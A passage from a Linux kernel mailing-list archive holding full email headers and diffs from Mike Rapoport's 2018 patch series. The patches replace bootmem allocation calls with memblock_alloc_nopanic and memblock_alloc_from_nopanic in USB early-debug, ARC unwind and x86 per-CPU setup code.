+		res = memblock_alloc_low(sizeof(*res), 0);
 		res->name  = "System RAM";
 		res->start = mi->bank[i].start;
 		res->end   = mi->bank[i].start + mi->bank[i].size - 1;
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 11/30] memblock: replace alloc_bootmem_pages_nopanic with
 memblock_alloc_nopanic
Date: Fri, 14 Sep 2018 15:10:26 +0300
Lines: 30
Approved: news@gmane.org
Message-ID: <1536927045-23536-12-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927055 28655 195.159.176.226 (14 Sep 2018 12:10:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:10:55 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:47 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0mvt-0007D9-HD
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:10:45 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=Yk4ch6IJm/eE5ge9Ni7p1KsgvyKJvmHGy9I4Th3HVt0=; b=WtxRsPaIIxD5yT45R11LywONsG
	v46KebSyuS5SSiB2SBanMwwk24t2sk/nTNt+IIXduqvkgZb5k6JMA/SKmacMB8e2VWVoPQD2msoSY
	6JN9/rIJ5REuUxGwcy7kWlTJMJQ5AqrzhfIX82T4bM+78Ic2e2YuPASUC8rGfb5Pk6Yvuav6u+S1M
	2o2D1YGRxyzB13q254y6C3v7/Nfav+miDgZV9Kh6jMdv66zoAlNbQelVbfNIIoywyJq26l9+Wt+52
	r500vG/Mg8quSLBbguwl6SASAFyYzqPgFl2JL7xytRjlroXFFKfV0ESih2nId+LuIuGuKIjgMmOUA
	HonEmERw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mxu-0004GO-QB; Fri, 14 Sep 2018 12:12:50 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mxW-000419-4U
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:12:42 +0000
Original-Received: from pps.filterd (m0098416.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4lVg026755
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:16 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mg9c78djx-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:15 -0400
Original-Received: from localhost
 by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:12 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (9.149.109.197)
 by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:00 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com
 [9.149.105.58])
 by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBxVj42926160
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:59 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id EFBFF4C05A;
 Fri, 14 Sep 2018 15:11:49 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C44D74C040;
 Fri, 14 Sep 2018 15:11:44 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:44 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:53 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0020-0000-0000-000002C64BF5
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0021-0000-0000-00002113ADE5
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=644 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051226_326746_61874CB8 
X-CRM114-Status: GOOD (  22.44  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4350 gmane.linux.kernel.mm:203323 gmane.linux.ports.mips.general:66625 gmane.linux.ports.ia64:29220 gmane.linux.ports.sh.devel:57496 gmane.linux.ports.sparc:28408 gmane.linux.ports.hexagon:1837 gmane.linux.ports.riscv:787 gmane.linux.ports.alpha:5226 gmane.linux.ports.arm.kernel:674195 gmane.linux.ports.parisc:28948 gmane.linux.kernel:2870766 gmane.linux.ports.ppc64.devel:162483
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4350>

The alloc_bootmem_pages_nopanic(size) is a shortcut for
__alloc_bootmem_nopanic(size, PAGE_SIZE, BOOTMEM_LOW_LIMIT) which allocates
PAGE_SIZE aligned memory. Since BOOTMEM_LOW_LIMIT is hardwired to 0 there
is no restrictions on where the allocated memory should reside.

The memblock_alloc_nopanic(size, PAGE_SIZE) also allocates PAGE_SIZE
aligned memory without any restrictions and thus can be used as a
replacement for alloc_bootmem_pages_nopanic()

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 drivers/usb/early/xhci-dbc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/usb/early/xhci-dbc.c b/drivers/usb/early/xhci-dbc.c
index e15e896..16df968 100644
--- a/drivers/usb/early/xhci-dbc.c
+++ b/drivers/usb/early/xhci-dbc.c
@@ -94,7 +94,7 @@ static void * __init xdbc_get_page(dma_addr_t *dma_addr)
 {
 	void *virt;
 
-	virt = alloc_bootmem_pages_nopanic(PAGE_SIZE);
+	virt = memblock_alloc_nopanic(PAGE_SIZE, PAGE_SIZE);
 	if (!virt)
 		return NULL;
 
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 13/30] memblock: replace __alloc_bootmem_nopanic with
 memblock_alloc_from_nopanic
Date: Fri, 14 Sep 2018 15:10:28 +0300
Lines: 53
Approved: news@gmane.org
Message-ID: <1536927045-23536-14-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927060 29041 195.159.176.226 (14 Sep 2018 12:11:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:00 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:52 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0mvz-0007L5-9i
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:10:51 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=eqvRyy5mAnic+7rcIOAV6u5jyli2qgr2Qbr4agkG/hs=; b=KnLHYmBmeboVaQ33Xf45IL0SYn
	wJ/IwRg79EIE9YtjgySLxDaliU0Yozz5fXqu0sOfCNbC0nf/VSb+ShaBRC0W8i3GFTKJo059D9ABC
	vfIH2X/8dpDpo4EKVYu45TS6hIpSPvZSjhbxOn31c4xBYHNMo7VS9zRccnJ7mMevJAmdWRfBzdqKd
	p8SdnkAkSnMNhaZ9Owyq9xqS9i+S580s5FBWwgxF5zKMDzJ+kuR/3rKkNkajiBQ5MESRmM/vDFjD1
	G293aZP2rClNCfBV90NP4uFFyHxcqDMEwxPm6B26h2uQrLcNM+zMyrV9/8/UskvI+Uc7BYvEfJc/Y
	EwBu798g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0my0-0004IM-3z; Fri, 14 Sep 2018 12:12:56 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mxb-00044r-Uq
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:12:45 +0000
Original-Received: from pps.filterd (m0098393.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5IRr093516
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:28 -0400
Original-Received: from e06smtp07.uk.ibm.com (e06smtp07.uk.ibm.com [195.75.94.103])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mg9yyetcs-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:27 -0400
Original-Received: from localhost
 by e06smtp07.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:24 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
 by e06smtp07.uk.ibm.com (192.168.101.137) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:12 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com
 [9.149.105.60])
 by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCBd065732816
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:11 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C5FF242042;
 Fri, 14 Sep 2018 15:12:01 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id A2B6542041;
 Fri, 14 Sep 2018 15:11:56 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:56 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:05 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0028-0000-0000-000002F958B5
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0029-0000-0000-000023B30121
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=655 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051232_156182_55724BC2 
X-CRM114-Status: GOOD (  22.19  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4351 gmane.linux.kernel.mm:203324 gmane.linux.ports.mips.general:66626 gmane.linux.ports.ia64:29221 gmane.linux.ports.sh.devel:57497 gmane.linux.ports.sparc:28409 gmane.linux.ports.hexagon:1838 gmane.linux.ports.riscv:788 gmane.linux.ports.alpha:5227 gmane.linux.ports.arm.kernel:674196 gmane.linux.ports.parisc:28949 gmane.linux.kernel:2870767 gmane.linux.ports.ppc64.devel:162484
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4351>

When __alloc_bootmem_nopanic() is used with explicit lower limit for the
allocation it attempts to allocate memory at or above that limit and falls
back to allocation with no limit set.

The memblock_alloc_from_nopanic() does exactly the same thing and can be
used as a replacement for __alloc_bootmem_nopanic() is such cases.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/arc/kernel/unwind.c       | 4 ++--
 arch/x86/kernel/setup_percpu.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/arc/kernel/unwind.c b/arch/arc/kernel/unwind.c
index 183391d..2a01dd1 100644
--- a/arch/arc/kernel/unwind.c
+++ b/arch/arc/kernel/unwind.c
@@ -181,8 +181,8 @@ static void init_unwind_hdr(struct unwind_table *table,
  */
 static void *__init unw_hdr_alloc_early(unsigned long sz)
 {
-	return __alloc_bootmem_nopanic(sz, sizeof(unsigned int),
-				       MAX_DMA_ADDRESS);
+	return memblock_alloc_from_nopanic(sz, sizeof(unsigned int),
+					   MAX_DMA_ADDRESS);
 }
 
 static void *unw_hdr_alloc(unsigned long sz)
diff --git a/arch/x86/kernel/setup_percpu.c b/arch/x86/kernel/setup_percpu.c
index 67d48e26..041663a 100644
--- a/arch/x86/kernel/setup_percpu.c
+++ b/arch/x86/kernel/setup_percpu.c
@@ -106,7 +106,7 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, unsigned long size,
 	void *ptr;
 
 	if (!node_online(node) || !NODE_DATA(node)) {
-		ptr = __alloc_bootmem_nopanic(size, align, goal);
+		ptr = memblock_alloc_from_nopanic(size, align, goal);
 		pr_info("cpu %d has no node %d or node-local memory\n",
 			cpu, node);
 		pr_debug("per cpu data for cpu%d %lu bytes at %016lx\n",
@@ -121,7 +121,7 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, unsigned long size,
 	}
 	return ptr;
 #else
-	return __alloc_bootmem_nopanic(size, align, goal);
+	return memblock_alloc_from_nopanic(size, align, goal);
 #endif
 }
 
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 14/30] memblock: add align parameter to memblock_alloc_node()
Date: Fri, 14 Sep 2018 15:10:29 +0300
Lines: 41
Approved: news@gmane.org
Message-ID: <1536927045-23536-15-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927064 29351 195.159.176.226 (14 Sep 2018 12:11:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:04 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:55 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mw2-0007QB-Dx
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:10:54 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=yM4MqBGuOfyh+XYoesd5q81hpY2/Q4w/ViA5KeVQpt8=; b=esHN7HLWHsIrGNvSpmrkkKVTKW
	c4GsytJndF9S2cImBX2732qCsxaF9tkjHSzg0i7Ib+VCcEzOI0UtvWH8hxCICmUoWgX+7T7R+2sKa
	6bX9S1f19Iv/2KVFNNz/4rwzDRC7ehQYI3ZyThfooHV4FEkAmOZ1TqbJizmfTKS7AU97vSEin7gtO
	skMmW7W3M9xWVW8ZUw13kZrPEwjyQxZnrVRX3NZqEHkC0DBWsIozq4zYH6qF0nzErbz2E2wImsk/j
	a9cRtmxYWug+tLSgAqx3Exm3pfpG6SzIUZgxQcFmglvW37ZsrlNpWNC3MAFQVAqaaKerL1BWzSj/K
	M7MNA32Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0my2-0004Ix-9v; Fri, 14 Sep 2018 12:12:58 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mxi-000479-4J
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:12:45 +0000
Original-Received: from pps.filterd (m0098416.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4l2o026778
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:32 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mg9c78dy1-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:32 -0400
Original-Received: from localhost
 by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:30 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (9.149.109.197)
 by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:18 +0100
Original-Received: from d06av21.portsmouth.uk.ibm.com (d06av21.portsmouth.uk.ibm.com
 [9.149.105.232])
